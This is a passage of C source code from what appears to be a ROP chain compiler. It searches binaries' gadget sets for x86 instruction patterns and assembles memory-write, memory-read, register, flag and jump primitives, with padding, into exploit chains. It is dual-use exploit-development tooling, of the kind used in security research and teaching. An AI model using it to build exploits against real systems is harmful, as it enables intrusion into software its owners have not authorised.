if(add->padding > 0) 639 | { 640 | sprintf(string_padding, "padding*%d", add->padding); 641 | rop_chain_list_add(head, 0x41414141, string_padding, 1); 642 | } 643 | } 644 | 645 | and = add->next; 646 | rop_chain_list_add(head, and->address, and->string, 1); 647 | if(and->padding > 0) 648 | { 649 | sprintf(string_padding, "padding*%d", and->padding); 650 | rop_chain_list_add(head, 0x41414141, string_padding, 1); 651 | } 652 | 653 | pop = and->next; 654 | rop_chain_list_add(head, pop->address, pop->string, 1); 655 | rop_chain_list_add(head, dest, "delta_dst", 1); 656 | if(pop->padding > 0) 657 | { 658 | sprintf(string_padding, "padding*%d", pop->padding); 659 | rop_chain_list_add(head, 0x41414141, string_padding, 1); 660 | } 661 | 662 | mov = pop->next; 663 | rop_chain_list_add(head, mov->address, mov->string, 1); 664 | if(mov->padding > 0) 665 | { 666 | sprintf(string_padding, "padding*%d", mov->padding); 667 | rop_chain_list_add(head, 0x41414141, string_padding, 1); 668 | } 669 | return 0; 670 | } 671 | 672 | int rop_conditional_jump_gadget(struct Gadget *head, struct API *api, char *delta) 673 | { 674 | struct Gadget *temp; 675 | char string_padding[20]; 676 | char gadget_string[MaxGadgetLen]; 677 | temp = api->jumpFLAG->next; 678 | while(temp) 679 | { 680 | strcpy(gadget_string, temp->string); 681 | strtok(gadget_string, ";"); 682 | if(strstr(gadget_string ,delta)) 683 | { 684 | rop_chain_list_add(head, temp->address, temp->string, 1); 685 | if(temp->padding > 0) 686 | { 687 | sprintf(string_padding, "padding*%d", temp->padding); 688 | rop_chain_list_add(head, 0x41414141, string_padding, 1); 689 | } 690 | return 0; 691 | } 692 | temp = temp->next; 693 | } 694 | printf("X: Can't find jumpFLAG gadget to do this operation.\n"); 695 | exit(-1); 696 | } 697 | 698 | int rop_interrupt_gadget(struct Gadget *head, struct API *api) 699 | { 700 | if(api->result_INT == -1) 701 | { 702 | printf("X: Can't find INT gadget to do this operation.\n"); 703 | exit(-1); 704 | } 705 | rop_chain_list_add(head, api->INT->next->address, api->INT->next->string, 1); 706 | return 0; 707 | } 708 | 709 | int rop_build_write_memory_gadget(struct Node *root, struct Gadget **writeMEM, struct Arg *arg) 710 | { 711 | struct Node *temp,*mov_temp; 712 | char gadget_string[MaxGadgetLen] = ""; 713 | char regexp_string[MaxRegExpLen] = ""; 714 | char op[2][4]; 715 | int i, depth, restart; 716 | int valid; 717 | printf("\n--- Build WriteMem Gadgets ---\n"); 718 | while(true) 719 | { 720 | restart = 0; 721 | *writeMEM = (struct Gadget *)malloc(sizeof(struct Gadget)); 722 | if(!*writeMEM) 723 | { 724 | fprintf(stderr ,"malloc failed.\n"); 725 | exit(-1); 726 | } 727 | rop_chain_list_init(*writeMEM); 728 | 729 | /* find mov gadget */ 730 | strcpy(regexp_string, "mov dword ptr .e[abcds][xip]], e[abcds][xip]"); 731 | for(depth = 1; depth < arg->depth; depth++) 732 | { 733 | memset(gadget_string, 0, MaxGadgetLen); 734 | mov_temp = tree_search(root, regexp_string, gadget_string, depth, arg); 735 | if(mov_temp) 736 | { 737 | printf(" O| 0x%08x -> Find MOV Gadget \"%s\"\n", mov_temp->address, gadget_string); 738 | break; 739 | } 740 | else if(depth == arg->depth-1) 741 | { 742 | if(arg->verbose) 743 | { 744 | printf(" X| Can't find WriteMEM gadget.\n"); 745 | } 746 | return -1; 747 | } 748 | } 749 | strncpy(op[0], &gadget_string[15], 3); 750 | strncpy(op[1], &gadget_string[21], 3); 751 | op[0][3] = 0; 752 | op[1][3] = 0; 753 | if(!strcmp(op[0], "esp") || !strcmp(op[1], "esp")) 754 | { 755 | printf(" X| Can't use esp gadget. Try to find other mov gadget\n"); 756 | mov_temp->vaild = 0; 757 | continue; 758 | } 759 | valid = rop_chain_list_add(*writeMEM, mov_temp->address, gadget_string, 1); 760 | if(valid == -1) 761 | { 762 | mov_temp->vaild = 0; 763 | continue; 764 | } 765 | /* find pop e_x gadget */ 766 | for(i = 0; i < 2; i++) 767 | { 768 | strcpy(regexp_string, "^pop ___$"); 769 | strncpy(®exp_string[5], op[i], 3); 770 | for(depth = 1; depth < arg->depth; depth++) 771 | { 772 | memset(gadget_string, 0, MaxGadgetLen); 773 | temp = tree_search(root, regexp_string, gadget_string, depth, arg); 774 | if(temp) 775 | { 776 | printf(" O| 0x%08x -> Find POP Gadget \"%s\"\n", temp->address, gadget_string); 777 | break; 778 | } 779 | else if(depth == arg->depth-1) 780 | { 781 | if(arg->verbose) 782 | { 783 | printf(" X| Can't find gadget \"pop %s\" Try to find other mov gadget\n", op[i]); 784 | } 785 | mov_temp->vaild = 0; 786 | rop_chain_list_free(*writeMEM); 787 | restart = 1; 788 | break; 789 | } 790 | } 791 | if(!restart) 792 | { 793 | valid = rop_chain_list_add(*writeMEM, temp->address, gadget_string, 0); 794 | if(valid == -1) 795 | { 796 | temp->vaild = 0; 797 | restart = 1; 798 | break; 799 | } 800 | } 801 | else 802 | { 803 | break; 804 | } 805 | } 806 | if(restart) 807 | { 808 | continue; 809 | } 810 | 811 | /* find xor e_x gadget */ 812 | strcpy(regexp_string, "xor ___, ___"); 813 | strncpy(®exp_string[4], op[1], 3); 814 | strncpy(®exp_string[9], op[1], 3); 815 | for(depth = 1; depth < arg->depth; depth++) 816 | { 817 | memset(gadget_string, 0, MaxGadgetLen); 818 | temp = tree_search(root, regexp_string, gadget_string, depth, arg); 819 | if(temp) 820 | { 821 | printf(" O| 0x%08x -> Find XOR Gadget \"%s\"\n", temp->address, gadget_string); 822 | break; 823 | } 824 | else if(depth == arg->depth-1) 825 | { 826 | if(arg->verbose) 827 | { 828 | printf(" X| Can't find gadget \"%s\" Try to find other mov gadget\n", regexp_string); 829 | } 830 | mov_temp->vaild = 0; 831 | rop_chain_list_free(*writeMEM); 832 | restart = 1; 833 | break; 834 | } 835 | } 836 | if(restart) 837 | { 838 | continue; 839 | } 840 | else 841 | { 842 | valid = rop_chain_list_add(*writeMEM, temp->address, gadget_string, 0); 843 | if(valid == -1) 844 | { 845 | temp->vaild = 0; 846 | continue; 847 | } 848 | } 849 | break; 850 | } 851 | return 0; 852 | } 853 | 854 | int rop_build_read_memory_gadget(struct Node *root, struct Gadget **readMEM, struct Arg *arg) 855 | { 856 | struct Node *temp,*mov_temp; 857 | char mov_string[MaxGadgetLen] = ""; 858 | char pop_string[MaxGadgetLen] = ""; 859 | char regexp_string[MaxRegExpLen] = ""; 860 | char *dst_op[4] = {"eax", "ebx", "ecx", "edx"}; 861 | char src_op[4]; 862 | int i, depth, restart; 863 | int valid; 864 | printf("\n--- Build ReadMem Gadgets ---\n"); 865 | while(true) 866 | { 867 | restart = 0; 868 | *readMEM = (struct Gadget *)malloc(sizeof(struct Gadget)); 869 | if(!*readMEM) 870 | { 871 | fprintf(stderr ,"malloc failed.\n"); 872 | exit(-1); 873 | } 874 | rop_chain_list_init(*readMEM); 875 | 876 | /* find mov gadget */ 877 | for(i = 0; i < 4; i++) 878 | { 879 | strcpy(regexp_string, "mov ___, dword ptr .e[abcds][xip]]"); 880 | strncpy(®exp_string[4], dst_op[i], 3); 881 | for(depth = 1; depth < arg->depth; depth++) 882 | { 883 | memset(mov_string, 0, MaxGadgetLen); 884 | mov_temp = tree_search(root, regexp_string, mov_string, depth, arg); 885 | if(mov_temp) 886 | { 887 | printf(" O| 0x%08x -> Find MOV Gadget \"%s\"\n", mov_temp->address, mov_string); 888 | break; 889 | } 890 | else if(depth == arg->depth-1) 891 | { 892 | if(arg->verbose) 893 | { 894 | printf(" X| Can't find gadget \"mov %s, dword ptr reg\"\n", dst_op[i]); 895 | } 896 | restart = 1; 897 | break; 898 | } 899 | } 900 | if(restart == 1) 901 | { 902 | restart = 0; 903 | continue; 904 | } 905 | strncpy(src_op, &mov_string[20], 3); 906 | src_op[3] = 0; 907 | if(!strcmp(src_op, "esp")) 908 | { 909 | printf(" X| Can't use esp gadget. Try to find other mov gadget\n"); 910 | mov_temp->vaild = 0; 911 | i--; 912 | continue; 913 | } 914 | /* find pop e_x gadget */ 915 | strcpy(regexp_string, "^pop ___$"); 916 | strncpy(®exp_string[5], src_op, 3); 917 | for(depth = 1; depth < arg->depth; depth++) 918 | { 919 | memset(pop_string, 0, MaxGadgetLen); 920 | temp = tree_search(root, regexp_string, pop_string, depth, arg); 921 | if(temp) 922 | { 923 | printf(" O| 0x%08x -> Find POP Gadget \"%s\"\n", temp->address, pop_string); 924 | break; 925 | } 926 | else if(depth == arg->depth-1) 927 | { 928 | if(arg->verbose) 929 | { 930 | printf(" X| Can't find gadget \"pop %s\" Try to find other mov gadget\n", src_op); 931 | } 932 | mov_temp->vaild = 0; 933 | restart = 1; 934 | i--; 935 | break; 936 | } 937 | } 938 | if(!restart) 939 | { 940 | valid = rop_chain_list_add(*readMEM, mov_temp->address, mov_string, 1); 941 | if(valid == -1) 942 | { 943 | mov_temp->vaild = 0; 944 | i--; 945 | continue; 946 | } 947 | valid = rop_chain_list_add(*readMEM, temp->address, pop_string, 1); 948 | if(valid == -1) 949 | { 950 | rop_chain_list_add(*readMEM, 0, "null", 1); 951 | temp->vaild = 0; 952 | i--; 953 | continue; 954 | } 955 | } 956 | else 957 | { 958 | restart = 0; 959 | } 960 | } 961 | break; 962 | } 963 | return 0; 964 | } 965 | 966 | int rop_build_write_register_gadget(struct Node *root, struct Gadget **writeREG, struct Arg *arg) 967 | { 968 | int valid; 969 | struct Node *temp; 970 | char gadget_string[MaxGadgetLen] = ""; 971 | char regexp_string[MaxRegExpLen] = ""; 972 | char *op[4] = {"eax", "ebx", "ecx", "edx"}; 973 | int i, depth, restart; 974 | printf("\n--- Build WriteREG Gadgets ---\n"); 975 | *writeREG = (struct Gadget *)malloc(sizeof(struct Gadget)); 976 | if(!*writeREG) 977 | { 978 | fprintf(stderr ,"malloc failed.\n"); 979 | exit(-1); 980 | } 981 | rop_chain_list_init(*writeREG); 982 | 983 | /* find pop e_x gadget */ 984 | for(i = 0; i < 4; i++) 985 | { 986 | restart = 0; 987 | strcpy(regexp_string, "^pop ___$"); 988 | strncpy(®exp_string[5], op[i], 3); 989 | for(depth = 1; depth < arg->depth; depth++) 990 | { 991 | memset(gadget_string, 0, MaxGadgetLen); 992 | temp = tree_search(root, regexp_string, gadget_string, depth, arg); 993 | if(temp) 994 | { 995 | printf(" O| 0x%08x -> Find POP Gadget \"%s\"\n", temp->address, gadget_string); 996 | break; 997 | } 998 | else if(depth == arg->depth-1) 999 | { 1000 | if(arg->verbose) 1001 | { 1002 | printf(" X| Can't find gadget \"pop %s\"\n", op[i]); 1003 | } 1004 | restart = 1; 1005 | break; 1006 | } 1007 | } 1008 | if(restart == 1) 1009 | { 1010 | restart = 0; 1011 | continue; 1012 | } 1013 | valid = rop_chain_list_add(*writeREG, temp->address, gadget_string, 1); 1014 | if(valid == -1) 1015 | { 1016 | temp->vaild = 0; 1017 | i--; 1018 | continue; 1019 | } 1020 | valid = rop_chain_list_add(*writeREG, 0x00000000, "value", 1); 1021 | } 1022 | return 0; 1023 | } 1024 | 1025 | int rop_build_zero_register_gadget(struct Node *root, struct Gadget **zeroREG, struct Arg *arg) 1026 | { 1027 | int valid; 1028 | struct Node *temp; 1029 | char gadget_string[MaxGadgetLen] = ""; 1030 | char regexp_string[MaxRegExpLen] = ""; 1031 | char *op[4] = {"eax", "ebx", "ecx", "edx"}; 1032 | int i, depth, restart; 1033 | printf("\n--- Build ZeroREG Gadgets ---\n"); 1034 | *zeroREG = (struct Gadget *)malloc(sizeof(struct Gadget)); 1035 | if(!*zeroREG) 1036 | { 1037 | fprintf(stderr ,"malloc failed.\n"); 1038 | exit(-1); 1039 | } 1040 | rop_chain_list_init(*zeroREG); 1041 | 1042 | /* find xor e_x gadget */ 1043 | for(i = 0; i < 4; i++) 1044 | { 1045 | restart = 0; 1046 | strcpy(regexp_string, "xor ___, ___"); 1047 | strncpy(®exp_string[4], op[i], 3); 1048 | strncpy(®exp_string[9], op[i], 3); 1049 | for(depth = 1; depth < arg->depth; depth++) 1050 | { 1051 | memset(gadget_string, 0, MaxGadgetLen); 1052 | temp = tree_search(root, regexp_string, gadget_string, depth, arg); 1053 | if(temp) 1054 | { 1055 | printf(" O| 0x%08x -> Find XOR Gadget \"%s\"\n", temp->address, gadget_string); 1056 | break; 1057 | } 1058 | else if(depth == arg->depth-1) 1059 | { 1060 | if(arg->verbose) 1061 | { 1062 | printf(" X| Can't find gadget \"%s\"\n", regexp_string); 1063 | } 1064 | restart = 1; 1065 | break; 1066 | } 1067 | } 1068 | if(restart) 1069 | { 1070 | continue; 1071 | } 1072 | valid = rop_chain_list_add(*zeroREG, temp->address, gadget_string, 1); 1073 | if(valid == -1) 1074 | { 1075 | temp->vaild = 0; 1076 | i--; 1077 | continue; 1078 | } 1079 | } 1080 | return 0; 1081 | } 1082 | 1083 | int rop_build_shift_register_gadget(struct Node *root, struct Gadget **shiftREG, struct Arg *arg) 1084 | { 1085 | int valid; 1086 | struct Node *temp; 1087 | char gadget_string[MaxGadgetLen] = ""; 1088 | char regexp_string[MaxRegExpLen] = ""; 1089 | char *op[4] = {"eax", "ebx", "ecx", "edx"}; 1090 | int i, depth, restart; 1091 | printf("\n--- Build ShiftREG Gadgets ---\n"); 1092 | *shiftREG = (struct Gadget *)malloc(sizeof(struct Gadget)); 1093 | if(!*shiftREG) 1094 | { 1095 | fprintf(stderr ,"malloc failed.\n"); 1096 | exit(-1); 1097 | } 1098 | rop_chain_list_init(*shiftREG); 1099 | 1100 | /* find shift e_x gadget */ 1101 | for(i = 0; i < 4; i++) 1102 | { 1103 | restart = 0; 1104 | strcpy(regexp_string, "^sh. ___,"); 1105 | strncpy(®exp_string[5], op[i], 3); 1106 | for(depth = 1; depth < arg->depth; depth++) 1107 | { 1108 | memset(gadget_string, 0, MaxGadgetLen); 1109 | temp = tree_search(root, regexp_string, gadget_string, depth, arg); 1110 | if(temp) 1111 | { 1112 | printf(" O| 0x%08x -> Find SHF Gadget \"%s\"\n", temp->address, gadget_string); 1113 | break; 1114 | } 1115 | else if(depth == arg->depth-1) 1116 | { 1117 | if(arg->verbose) 1118 | { 1119 | printf(" X| Can't find gadget \"shift %s, cnt\"\n", op[i]); 1120 | } 1121 | restart = 1; 1122 | break; 1123 | } 1124 | } 1125 | if(restart) 1126 | { 1127 | continue; 1128 | } 1129 | valid = rop_chain_list_add(*shiftREG, temp->address, gadget_string, 1); 1130 | if(valid == -1) 1131 | { 1132 | temp->vaild = 0; 1133 | i--; 1134 | continue; 1135 | } 1136 | } 1137 | return 0; 1138 | } 1139 | 1140 | int rop_build_xchg_register_gadget(struct Node *root, struct Gadget **xchgREG, struct Arg *arg) 1141 | { 1142 | int valid; 1143 | struct Node *temp; 1144 | char gadget_string[MaxGadgetLen] = ""; 1145 | char regexp_string[MaxRegExpLen] = ""; 1146 | char *op[4] = {"eax", "ebx", "ecx", "edx"}; 1147 | int i, j, depth, restart; 1148 | printf("\n--- Build XchgREG Gadgets ---\n"); 1149 | *xchgREG = (struct Gadget *)malloc(sizeof(struct Gadget)); 1150 | if(!*xchgREG) 1151 | { 1152 | fprintf(stderr ,"malloc failed.\n"); 1153 | exit(-1); 1154 | } 1155 | rop_chain_list_init(*xchgREG); 1156 | 1157 | for(i = 0; i < 4; i++) 1158 | { 1159 | for(j = 0; j < 4; j++) 1160 | { 1161 | restart = 0; 1162 | strcpy(regexp_string, "xchg ___, ___"); 1163 | strncpy(®exp_string[5], op[i], 3); 1164 | strncpy(®exp_string[10], op[j], 3); 1165 | for(depth = 1; depth < arg->depth; depth++) 1166 | { 1167 | memset(gadget_string, 0, MaxGadgetLen); 1168 | temp = tree_search(root, regexp_string, gadget_string, depth, arg); 1169 | if(temp) 1170 | { 1171 | printf(" O| 0x%08x -> Find XCHG Gadget \"%s\"\n", temp->address, gadget_string); 1172 | break; 1173 | } 1174 | else if(depth == arg->depth-1) 1175 | { 1176 | if(arg->verbose) 1177 | { 1178 | printf(" X| Can't find gadget \"%s\"\n", regexp_string); 1179 | } 1180 | restart = 1; 1181 | break; 1182 | } 1183 | } 1184 | if(restart) 1185 | { 1186 | continue; 1187 | } 1188 | valid = rop_chain_list_add(*xchgREG, temp->address, gadget_string, 1); 1189 | if(valid == -1) 1190 | { 1191 | temp->vaild = 0; 1192 | j--; 1193 | continue; 1194 | } 1195 | } 1196 | } 1197 | return 0; 1198 | } 1199 | 1200 | int rop_build_move_register_gadget(struct Node *root, struct Gadget **movREG, struct Arg *arg) 1201 | { 1202 | int valid; 1203 | struct Node *temp; 1204 | char gadget_string[MaxGadgetLen] = ""; 1205 | char regexp_string[MaxRegExpLen] = ""; 1206 | char *op[4] = {"eax", "ebx", "ecx", "edx"}; 1207 | int i, j, depth, restart; 1208 | printf("\n--- Build MoveREG Gadgets ---\n"); 1209 | *movREG = (struct Gadget *)malloc(sizeof(struct Gadget)); 1210 | if(!*movREG) 1211 | { 1212 | fprintf(stderr ,"malloc failed.\n"); 1213 | exit(-1); 1214 | } 1215 | rop_chain_list_init(*movREG); 1216 | 1217 | for(i = 0; i < 4; i++) 1218 | { 1219 | for(j = 0; j < 4; j++) 1220 | { 1221 | restart = 0; 1222 | strcpy(regexp_string, "mov ___, ___"); 1223 | strncpy(®exp_string[4], op[i], 3); 1224 | strncpy(®exp_string[9], op[j], 3); 1225 | for(depth = 1; depth < arg->depth; depth++) 1226 | { 1227 | memset(gadget_string, 0, MaxGadgetLen); 1228 | temp = tree_search(root, regexp_string, gadget_string, depth, arg); 1229 | if(temp) 1230 | { 1231 | printf(" O| 0x%08x -> Find MOV Gadget \"%s\"\n", temp->address, gadget_string); 1232 | break; 1233 | } 1234 | else if(depth == arg->depth-1) 1235 | { 1236 | if(arg->verbose) 1237 | { 1238 | printf(" X| Can't find gadget \"%s\"\n", regexp_string); 1239 | } 1240 | restart = 1; 1241 | break; 1242 | } 1243 | } 1244 | if(restart) 1245 | { 1246 | continue; 1247 | } 1248 | valid = rop_chain_list_add(*movREG, temp->address, gadget_string, 1); 1249 | if(valid == -1) 1250 | { 1251 | temp->vaild = 0; 1252 | j--; 1253 | continue; 1254 | } 1255 | } 1256 | } 1257 | return 0; 1258 | } 1259 | 1260 | int rop_build_add_register_gadget(struct Node *root, struct Gadget **addREG, struct Arg *arg) 1261 | { 1262 | struct Node *temp; 1263 | char gadget_string[MaxGadgetLen] = ""; 1264 | char regexp_string[MaxRegExpLen] = ""; 1265 | char *op[4] = {"eax", "ebx", "ecx", "edx"}; 1266 | int i, depth, restart; 1267 | int inc_valid = -1; 1268 | printf("\n--- Build AddREG Gadgets ---\n"); 1269 | *addREG = (struct Gadget *)malloc(sizeof(struct Gadget)); 1270 | if(!*addREG) 1271 | { 1272 | fprintf(stderr ,"malloc failed.\n"); 1273 | exit(-1); 1274 | } 1275 | rop_chain_list_init(*addREG); 1276 | 1277 | for(i = 0; i < 4; i++) 1278 | { 1279 | /* Find inc gadget */ 1280 | restart = 0; 1281 | strcpy(regexp_string, "^inc ___$"); 1282 | strncpy(®exp_string[5], op[i], 3); 1283 | for(depth = 1; depth < arg->depth; depth++) 1284 | { 1285 | memset(gadget_string, 0, MaxGadgetLen); 1286 | temp = tree_search(root, regexp_string, gadget_string, depth, arg); 1287 | if(temp) 1288 | { 1289 | printf(" O| 0x%08x -> Find INC Gadget \"%s\"\n", temp->address, gadget_string); 1290 | break; 1291 | } 1292 | else if(depth == arg->depth-1) 1293 | { 1294 | if(arg->verbose) 1295 | { 1296 | printf(" X| Can't find gadget \"inc %s\"\n", op[i]); 1297 | } 1298 | restart = 1; 1299 | break; 1300 | } 1301 | } 1302 | if(restart == 1) 1303 | { 1304 | continue; 1305 | } 1306 | inc_valid = rop_chain_list_add(*addREG, temp->address, gadget_string, 1); 1307 | if(inc_valid == -1) 1308 | { 1309 | temp->vaild = 0; 1310 | i--; 1311 | continue; 1312 | } 1313 | } 1314 | return 0; 1315 | } 1316 | 1317 | int rop_build_cmp_flag_gadget(struct Node *root, struct Gadget **cmpFLAG, struct Arg *arg) 1318 | { 1319 | int valid; 1320 | struct Node *sub_temp, *neg_temp; 1321 | char sub_gadget_string[MaxGadgetLen] = ""; 1322 | char neg_gadget_string[MaxGadgetLen] = ""; 1323 | char regexp_string[MaxRegExpLen] = ""; 1324 | char *op[4] = {"eax", "ebx", "ecx", "edx"}; 1325 | int i, j, depth, restart; 1326 | printf("\n--- Build CmpFLAG Gadgets ---\n"); 1327 | *cmpFLAG = (struct Gadget *)malloc(sizeof(struct Gadget)); 1328 | if(!*cmpFLAG) 1329 | { 1330 | fprintf(stderr ,"malloc failed.\n"); 1331 | exit(-1); 1332 | } 1333 | rop_chain_list_init(*cmpFLAG); 1334 | 1335 | for(i = 0; i < 4; i++) 1336 | { 1337 | for(j = 0; j < 4; j++) 1338 | { 1339 | if(i == j) 1340 | { 1341 | continue; 1342 | } 1343 | restart = 0; 1344 | strcpy(regexp_string, "sub ___, ___"); 1345 | strncpy(®exp_string[4], op[i], 3); 1346 | strncpy(®exp_string[9], op[j], 3); 1347 | for(depth = 1; depth < arg->depth; depth++) 1348 | { 1349 | memset(sub_gadget_string, 0, MaxGadgetLen); 1350 | sub_temp = tree_search(root, regexp_string, sub_gadget_string, depth, arg); 1351 | if(sub_temp) 1352 | { 1353 | printf(" O| 0x%08x -> Find SUB Gadget \"%s\"\n", sub_temp->address, sub_gadget_string); 1354 | break; 1355 | } 1356 | else if(depth == arg->depth-1) 1357 | { 1358 | if(arg->verbose) 1359 | { 1360 | printf(" X| Can't find gadget \"%s\"\n", regexp_string); 1361 | } 1362 | restart = 1; 1363 | break; 1364 | } 1365 | } 1366 | if(restart) 1367 | { 1368 | continue; 1369 | } 1370 | /* find neg e_x gadget */ 1371 | strcpy(regexp_string, "neg ___"); 1372 | strncpy(®exp_string[4], op[i], 3); 1373 | for(depth = 1; depth < arg->depth; depth++) 1374 | { 1375 | memset(neg_gadget_string, 0, MaxGadgetLen); 1376 | neg_temp = tree_search(root, regexp_string, neg_gadget_string, depth, arg); 1377 | if(neg_temp) 1378 | { 1379 | printf(" O| 0x%08x -> Find NEG Gadget \"%s\"\n", neg_temp->address, neg_gadget_string); 1380 | break; 1381 | } 1382 | else if(depth == arg->depth-1) 1383 | { 1384 | if(arg->verbose) 1385 | { 1386 | printf(" X| Can't find gadget \"%s\"\n", regexp_string); 1387 | } 1388 | restart = 1; 1389 | break; 1390 | } 1391 | } 1392 | if(restart) 1393 | { 1394 | sub_temp->vaild = 0; 1395 | continue; 1396 | } 1397 | valid = rop_chain_list_add(*cmpFLAG, sub_temp->address, sub_gadget_string, 1); 1398 | if(valid == -1) 1399 | { 1400 | sub_temp->vaild = 0; 1401 | j--; 1402 | continue; 1403 | } 1404 | valid = rop_chain_list_add(*cmpFLAG, neg_temp->address, neg_gadget_string, 1); 1405 | if(valid == -1) 1406 | { 1407 | neg_temp->vaild = 0; 1408 | j--; 1409 | rop_chain_list_add(*cmpFLAG, 0, "null", 1); 1410 | continue; 1411 | } 1412 | } 1413 | } 1414 | return 0; 1415 | } 1416 | 1417 | int rop_build_save_flag_gadget(struct Node *root, struct Gadget **saveFLAG, struct Arg *arg) 1418 | { 1419 | struct Node *temp, *mov_temp; 1420 | char gadget_string[MaxGadgetLen] = ""; 1421 | char regexp_string[MaxRegExpLen] = ""; 1422 | char op[2][4]; 1423 | int depth, restart; 1424 | int valid, i; 1425 | char *end_str; 1426 | char *src_operand; 1427 | char adc_str[MaxGadgetLen]; 1428 | long sub_value; 1429 | printf("\n--- Build SaveFLAG Gadgets ---\n"); 1430 | while(true) 1431 | { 1432 | restart = 0; 1433 | *saveFLAG = (struct Gadget *)malloc(sizeof(struct Gadget)); 1434 | if(!*saveFLAG) 1435 | { 1436 | fprintf(stderr ,"malloc failed.\n"); 1437 | exit(-1); 1438 | } 1439 | rop_chain_list_init(*saveFLAG); 1440 | 1441 | /* find mov gadget */ 1442 | strcpy(regexp_string, "mov dword ptr .e[abcds][xip]], e[abcds][xip]"); 1443 | for(depth = 1; depth < arg->depth; depth++) 1444 | { 1445 | memset(gadget_string, 0, MaxGadgetLen); 1446 | mov_temp = tree_search(root, regexp_string, gadget_string, depth, arg); 1447 | if(mov_temp) 1448 | { 1449 | printf(" O| 0x%08x -> Find MOV Gadget \"%s\"\n", mov_temp->address, gadget_string); 1450 | break; 1451 | } 1452 | else if(depth == arg->depth-1) 1453 | { 1454 | if(arg->verbose) 1455 | { 1456 | printf(" X| Can't find SaveFLAG gadget.\n"); 1457 | } 1458 | return -1; 1459 | } 1460 | } 1461 | strncpy(op[0], &gadget_string[15], 3); 1462 | strncpy(op[1], &gadget_string[21], 3); 1463 | op[0][3] = 0; 1464 | op[1][3] = 0; 1465 | if(!strcmp(op[0], "esp") || !strcmp(op[1], "esp")) 1466 | { 1467 | printf(" X| Can't use esp gadget. Try to find other mov gadget\n"); 1468 | mov_temp->vaild = 0; 1469 | continue; 1470 | } 1471 | valid = rop_chain_list_add(*saveFLAG, mov_temp->address, gadget_string, 1); 1472 | if(valid == -1) 1473 | { 1474 | mov_temp->vaild = 0; 1475 | continue; 1476 | } 1477 | /* find pop e_x gadget */ 1478 | for(i = 0; i < 2; i++) 1479 | { 1480 | strcpy(regexp_string, "^pop ___$"); 1481 | strncpy(®exp_string[5], op[i], 3); 1482 | for(depth = 1; depth < arg->depth; depth++) 1483 | { 1484 | memset(gadget_string, 0, MaxGadgetLen); 1485 | temp = tree_search(root, regexp_string, gadget_string, depth, arg); 1486 | if(temp) 1487 | { 1488 | printf(" O| 0x%08x -> Find POP Gadget \"%s\"\n", temp->address, gadget_string); 1489 | break; 1490 | } 1491 | else if(depth == arg->depth-1) 1492 | { 1493 | if(arg->verbose) 1494 | { 1495 | printf(" X| Can't find gadget \"pop %s\" Try to find other mov gadget\n", op[i]); 1496 | } 1497 | mov_temp->vaild = 0; 1498 | rop_chain_list_free(*saveFLAG); 1499 | restart = 1; 1500 | break; 1501 | } 1502 | } 1503 | if(!restart) 1504 | { 1505 | valid = rop_chain_list_add(*saveFLAG, temp->address, gadget_string, 0); 1506 | if(valid == -1) 1507 | { 1508 | temp->vaild = 0; 1509 | restart = 1; 1510 | break; 1511 | } 1512 | } 1513 | else 1514 | { 1515 | break; 1516 | } 1517 | } 1518 | if(restart) 1519 | { 1520 | continue; 1521 | } 1522 | 1523 | /* find adc _l gadget */ 1524 | strcpy(regexp_string, "adc _l, 0x."); 1525 | strncpy(®exp_string[4], op[1]+1, 1); 1526 | for(depth = 1; depth < arg->depth; depth++) 1527 | { 1528 | memset(gadget_string, 0, MaxGadgetLen); 1529 | temp = tree_search(root, regexp_string, gadget_string, depth, arg); 1530 | if(temp) 1531 | { 1532 | printf(" O| 0x%08x -> Find ADC Gadget \"%s\"\n", temp->address, gadget_string); 1533 | break; 1534 | } 1535 | else if(depth == arg->depth-1) 1536 | { 1537 | if(arg->verbose) 1538 | { 1539 | printf(" X| Can't find gadget \"%s\" Try to find other mov gadget\n", regexp_string); 1540 | } 1541 | mov_temp->vaild = 0; 1542 | rop_chain_list_free(*saveFLAG); 1543 | restart = 1; 1544 | break; 1545 | } 1546 | } 1547 | if(restart) 1548 | { 1549 | continue; 1550 | } 1551 | else 1552 | { 1553 | valid = rop_chain_list_add(*saveFLAG, temp->address, gadget_string, 0); 1554 | if(valid == -1) 1555 | { 1556 | temp->vaild = 0; 1557 | continue; 1558 | } 1559 | } 1560 | 1561 | /* parse sub_value */ 1562 | strcpy(adc_str, gadget_string); 1563 | src_operand = strtok_r(adc_str, ";", &end_str); 1564 | src_operand = strchr(adc_str, ',') + 2; 1565 | sub_value = strtol(src_operand, &end_str, 16); 1566 | 1567 | /* find dec e_x gadget */ 1568 | strcpy(regexp_string, "dec ___"); 1569 | strncpy(®exp_string[4], op[1], 3); 1570 | for(depth = 1; depth < arg->depth; depth++) 1571 | { 1572 | memset(gadget_string, 0, MaxGadgetLen); 1573 | temp = tree_search(root, regexp_string, gadget_string, depth, arg); 1574 | if(temp) 1575 | { 1576 | printf(" O| 0x%08x -> Find DEC Gadget \"%s\"\n", temp->address, gadget_string); 1577 | break; 1578 | } 1579 | else if(depth == arg->depth-1) 1580 | { 1581 | if(arg->verbose) 1582 | { 1583 | printf(" X| Can't find gadget \"%s\" Try to find other mov gadget\n", regexp_string); 1584 | } 1585 | mov_temp->vaild = 0; 1586 | rop_chain_list_free(*saveFLAG); 1587 | restart = 1; 1588 | break; 1589 | } 1590 | } 1591 | if(restart) 1592 | { 1593 | continue; 1594 | } 1595 | else 1596 | { 1597 | valid = rop_chain_list_add(*saveFLAG, temp->address, gadget_string, 0); 1598 | if(valid == -1) 1599 | { 1600 | temp->vaild = 0; 1601 | continue; 1602 | } 1603 | } 1604 | break; 1605 | } 1606 | return sub_value; 1607 | } 1608 | 1609 | int rop_build_delta_flag_gadget(struct Node *root, struct Gadget **deltaFLAG, struct Arg *arg, struct API *api) 1610 | { 1611 | int neg_valid, and_valid, mov_valid; 1612 | struct Node *neg_temp, *and_temp, *mov_temp; 1613 | struct Gadget *zeroREG, *addREG, *writeREG; 1614 | char neg_gadget_string[MaxGadgetLen] = ""; 1615 | char and_gadget_string[MaxGadgetLen] = ""; 1616 | char mov_gadget_string[MaxGadgetLen] = ""; 1617 | char regexp_string[MaxRegExpLen] = ""; 1618 | char *op[4] = {"eax", "ebx", "ecx", "edx"}; 1619 | char mov_op[2][4]; 1620 | int i, j, k, depth, restart; 1621 | printf("\n--- Build DeltaFLAG Gadgets ---\n"); 1622 | *deltaFLAG = (struct Gadget *)malloc(sizeof(struct Gadget)); 1623 | if(!*deltaFLAG) 1624 | { 1625 | fprintf(stderr ,"malloc failed.\n"); 1626 | exit(-1); 1627 | } 1628 | rop_chain_list_init(*deltaFLAG); 1629 